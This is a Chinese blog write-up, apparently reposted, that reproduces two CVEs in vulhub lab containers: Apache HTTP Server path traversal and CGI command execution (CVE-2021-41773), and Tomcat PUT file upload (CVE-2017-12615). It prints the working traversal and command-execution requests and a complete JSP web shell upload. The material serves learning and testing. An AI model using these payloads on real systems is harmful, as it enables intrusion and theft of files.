部分CVE复现Web(1)

news2024/11/24 16:47:50

Apache HTTP Server 路径穿越漏洞CVE-2021-41773

​ 首先,先来看一下这个漏洞的官方描述:

在这里插入图片描述

​ CVE-2021-41773 是在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“要求全部拒绝”的保护,则这些请求可能会成功,如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

漏洞条件:

​ 配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹

​ 穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的:Require all denied)

注意:这里的/icons/必须是一个存在且可访问的目录

漏洞复现:

​ 首先,需要在虚拟机里下载一个docker,可以通过

apt install docker.io docker-compose

来安装。

​ 之后,需要下载 vulhub 的环境

git clone https://github.com/vulhub/vulhub.git

​ 之后就可以在 vulhub 这个文件夹下的httpd找到漏洞编号CVE-2021-41773了,然后执行如下命令

docker-compose up -d

即可搭建完成,之后根据它开放的 端口来访问这个服务,

在这里插入图片描述

​ 出现这个页面则表示搭建成功了,之后就可以开始了。

​ 首先,抓包,然后修改请求包如下:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.209.130:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close

​ 可以看到,我们请求的路径为 /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ,那么,为啥这个路径能行呢?可以参考这篇文章:Apache HTTP Server路径穿越漏洞 (CVE-2021-41773) 分析复现。说白了就是没有对目录进行有效的过滤,导致了可以造成目录穿越直接读取根目录的文件,不过,有的时候可能存在一些个问题,可能需要对%2e进行二次url编码,这里只是提一句。

​ 发送了请求之后我们能够拿到这个回显:

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:20:37 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

​ 证明我们成功了,成功读取了文件。

​ 难道,只能这样了吗?

命令执行:

​ 当然不是,在服务器开启cgi或cgid模块的情况下,该漏洞可执行任意命令。

​ 如果,当我们修改文件路径为:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 时,就会发现,我们输入的POST参数会被当做命令进行执行,也就是说,我们直接做到了 RCE 。

​ 给个原因。

也就是说,通过 POST 传入的 参数,会作为 stdin 的内容,交给 所访问的 cgi 程序处理

如果访问的是 /bin/sh ,那么就能直接 getshell 了

​ 我们给 POST 传入(固定格式)echo Content-Type: text/plain; echo; ls /,之后就会发现我们成功读取了文件,我提前在根目录存放了flag文件,当作一个ctf题目来表明我们做对了这个题。

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:50:01 GMT
Server: Apache/2.4.49 (Unix)
Connection: close
Content-Type: text/plain
Content-Length: 90

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

​ 之后我们POST传入:echo Content-Type: text/plain; echo; cat /flag,最后能够拿到flag:

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:52:04 GMT
Server: Apache/2.4.49 (Unix)
Connection: close
Content-Type: text/plain
Content-Length: 21

flag{CVE-2021-41773}

Tomcat文件上传:

前置知识:

PUT请求是向服务器端发送数据的,从而改变信息,该请求就像数据库的update操作一样,用来修改数据的内容,但是不会增加数据的种类等,也就是说无论进行多少次PUT操作,其结果并没有不同。

​ web.xml主要用来配置Filter、Listener、Servlet等。当readonly是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT方法上传文件了。

漏洞复现:

​ vulhub 文件夹中的tomcat的CVE-2017-12615就是漏洞复现的环境。

​ 可以在当前文件夹中使用:

docker-compose build
docker-compose up -d

来启动环境。

​ 访问了之后是如下这个情况:

在这里插入图片描述

​ 那么,首先我们在docker里查看我们的题目环境是怎么样的,可以发现 readonly的值就是false:

  <!--   readonly            Is this context "read only", so HTTP           -->
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

​ 那么,我们就可以通过 PUT 传参来更新文件,大概http请求如下:

PUT /1.jsp HTTP/1.1
Host: 192.168.209.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

​ 这里发现无法上传,报错是405–Method Not Allowed,查资料说的是后缀不允许,所以在/1.jsp后面加上%20再试试,结果如下:

HTTP/1.1 204 
Date: Mon, 17 Jun 2024 13:40:05 GMT
Connection: close

​ 应该是上传成功了,访问下这个文件试试;

在这里插入图片描述

​ 能访问到,说明这里就上传成功了,那么,接下来上传jsp马,如下:

PUT /1.jsp%20 HTTP/1.1
Host: 192.168.209.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 635

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>一句话木马</title>
</head>
<body>
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>
</body>
</html>

​ 这里很明显可以得知木马的参数为cmd,所以访问之后直接传递cmd的参数即可执行命令,cmd=cat /flag:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1833273.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三星(中国)投资公司线上入职测评笔试邀请数字推理语言逻辑真题题库

三星&#xff08;中国&#xff09;有限公司北京分公司 邀请您参加 SHL线上笔试 具体安排如下&#xff1a; 笔试时间&#xff1a;周三 9:00 笔试时长&#xff1a;1.5h ~ 2h 笔试内容及要求&#xff1a;数字推理限时30min&#xff1b;语言逻辑限时30min&#xff1b;性格测试不…

国内外典型的知识图谱项目

文章目录 早期的知识库项目互联网时代的知识图谱中文开放知识图谱垂直领域知识图谱 从人工智能的概念被提出开始&#xff0c;构建大规模的知识库一直都是人工智能、自然语言理解等领域的核心任务之一。下面分别介绍早期的知识库项目、互联网时代的知识图谱、中文开放知识图谱和…

什么是Vue开发技术

概述 Vue.js 是一个用于构建用户界面的渐进式框架&#xff0c;它设计得非常灵活&#xff0c;可以轻松地被集成到任何项目中。 vue是视图的发音&#xff0c;其目的是帮助开发者易于上手&#xff0c;提供强大的功能构建复杂的应用程序 示例 以下是vue基本的语法概述 声明式渲…

激活和禁用Hierarchy面板上的物体

1、准备工作&#xff1a; (1) 在HIerarchy上添加待隐藏/显示的物体&#xff0c;名字自取。如&#xff1a;endImage (2) 在Inspector面板&#xff0c;该物体的名称前取消勾选&#xff08;隐藏&#xff09; (3) 在HIerarchy上添加按钮&#xff0c;名字自取。如&#xff1a;tip…

“深入探讨Redis主从复制:原理、配置与优化“

目录 # 概念 1. 配置主从同步步骤 1.1 创建文件夹 1.2 复制配置文件 1.3 配置文件关闭 1.4 查看端口号&#xff0c;发现端口号存在 1.5 连接三个端口号 1.6 查看主机运行情况 1.7 让服务器变成&#xff08;主机&#xff09;或&#xff08;从机&#xff09; 1.8 实现效…

HarmonyOS之自选股App

支持在 鸿蒙、安卓、苹果设备上运行。 1.界面效果展示 2.数据存储 数据存储采用的是官方的 ohos.data.relationalStore.relationalStore stock_code表用来存储A股市场5000多家公司的股票代码和名称等信息 const TAB_STOCK_CODE "stock_code" const CREATE_TABL…

关于IOMMU问题的扩展

关联CSDN&#xff1a; Steam Deck OLED WLAN下载速率过低问题的排查和解决-CSDN博客 前言 如前所述&#xff0c;Steam Deck OLED WLAN速率低问题和IOMMU有一定的关系&#xff0c;这里我们对IOMMU为什么会对速率有影响进行一个较深入的理解。 对于IOMMU我相信大家通过网上的…

java面试(企业场景)

设计模式 工厂方法模式 简单工厂模式 简单工厂包括以下角色&#xff1a; 抽象产品&#xff1a;定义了产品的规范&#xff0c;描述了产品的主要特性和功能具体产品&#xff1a;实现或者继承抽象产品的子类具体工厂&#xff1a;提供了创建产品的机会&#xff0c;调用者通过该…

自动采集软件||自动采集主流电商商品详情SKU数据价格功能实现||电商API接口的应用

实现自动化淘宝商品数据采集的方法有多种&#xff0c;一种常见的方式是利用网络 Python 技术。您可以编写一个网络 Python程序&#xff0c;通过模拟浏览器发送请求&#xff0c;获取淘宝商品页面的数据&#xff0c;并对数据进行解析和提取&#xff0c;最终存储到数据库或文件中。…

力扣172. 阶乘后的零

Problem: 172. 阶乘后的零 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 1.要使得末尾出现0&#xff0c;则乘式中必须出现因子2与5&#xff1b; 2.而由于对于一个数的阶乘&#xff0c;易知因子2的个数是大于因子5的个数&#xff08;因为只要出现偶数则可以分解出…

1V升3V升压LED驱动WT7013

1V升3V升压LED驱动WT7013 WT7013是一款专业的高亮度LED驱动芯片&#xff0c;其具备提供1A驱动电流以支持3W的LED设备运行的能力。此款芯片以其高效率和低功耗的特性&#xff0c;使其在适用于使用1到2个碱性电池或者锂电池供电的LED照明设备中表现卓越。 WT7013 还配备有开路保…

DOS INT 21H中断 2号功能暗改AL

注意此时AX0200&#xff0c;DX0057 执行INT 21H之后&#xff1a; 可以看到执行完“??? [BXSI]”之后&#xff0c;AL就变为了57H&#xff0c;和DL相同。 部分INT 21H功能表&#xff1a; 所以究竟是什么原因呢&#xff1f; -------------------------------------------…

Shopee虾皮API:获取商家店铺商品列表

一、平台介绍 Shopee&#xff0c;作为东南亚及中国台湾地区领先的电商平台&#xff0c;为卖家提供了一个便捷、高效的销售渠道。作为卖家&#xff0c;能够将自己的商品展示在Shopee平台上&#xff0c;并通过平台的流量和工具&#xff0c;将商品销售给更多的潜在买家。 为了帮…

s2b2c这个模式如今发展得怎么样了?

在工业时代&#xff0c;每一个客户和消费者都是一个独立的个体&#xff0c;是被动地接受广告和被推送产品的&#xff0c;但在互联网时代&#xff0c;由于信息技术的基础设施和广泛沟通的社交互动&#xff0c;客户已经因为各种各样的社交场景事先聚集到一起。在个性化即大众化的…

基于WPF技术的换热站智能监控系统16--动态数据绑定

1、实现思路 1&#xff09;实时读取到的数据绑定到前台UI控件上&#xff0c;这个通过MVVM模式实现&#xff0c;同时注意实时读取必须通过任务task异步方式&#xff0c;这就需要读取PLC数据。 2&#xff09;UI控件的动作&#xff0c;如开或关水泵&#xff0c;必定能够将值写入…

【教学类-12-12】20240617通义万相-动物图片6张编故事(A4一页4条)

背景需求 【教学类-12-11】20240612通义万相-动物图片连连看&#xff08;A4一页3套&#xff09;-CSDN博客文章浏览阅读891次&#xff0c;点赞34次&#xff0c;收藏11次。【教学类-12-11】20240612通义万相-动物图片连连看&#xff08;A4一页3套&#xff09;https://blog.csdn.n…

新质生产力水平测算与中国经济增长新动能(dta数据及do代码)

时间跨度&#xff1a;2012-2022年 数据范围&#xff1a;全国30个省份&#xff08;不含港澳台、西藏&#xff09; 数据指标&#xff1a; 参考韩文龙等的做法&#xff0c;收集了全部控制变量与稳定性检验所需变量。 类型 符号 变量 变量定义 被解释变量 GDP 各省人均GDP…

【C++】:list容器的基本使用

目录 &#x1f680;前言一&#xff0c;list的介绍二&#xff0c;list的基本使用2.1 list的构造2.2 list迭代器的使用2.3 list的头插&#xff0c;头删&#xff0c;尾插和尾删2.4 list的插入和删除2.5 list 的 resize/swap/clear &#x1f680;前言 list中的接口比较多&#xff…

Elasticsearch-使用Logstash同步Mysql

1.安装logstash es服务器版本必须和logstash版本一致 7.9.2 在/usr/local/src/下新建logstash文件夹&#xff0c;解压 下载logstash后查看是否安装成功&#xff0c;在logstash的bin目录下输入指令&#xff1a; ./logstash -e input { stdin { } } output { stdout {} }2.my…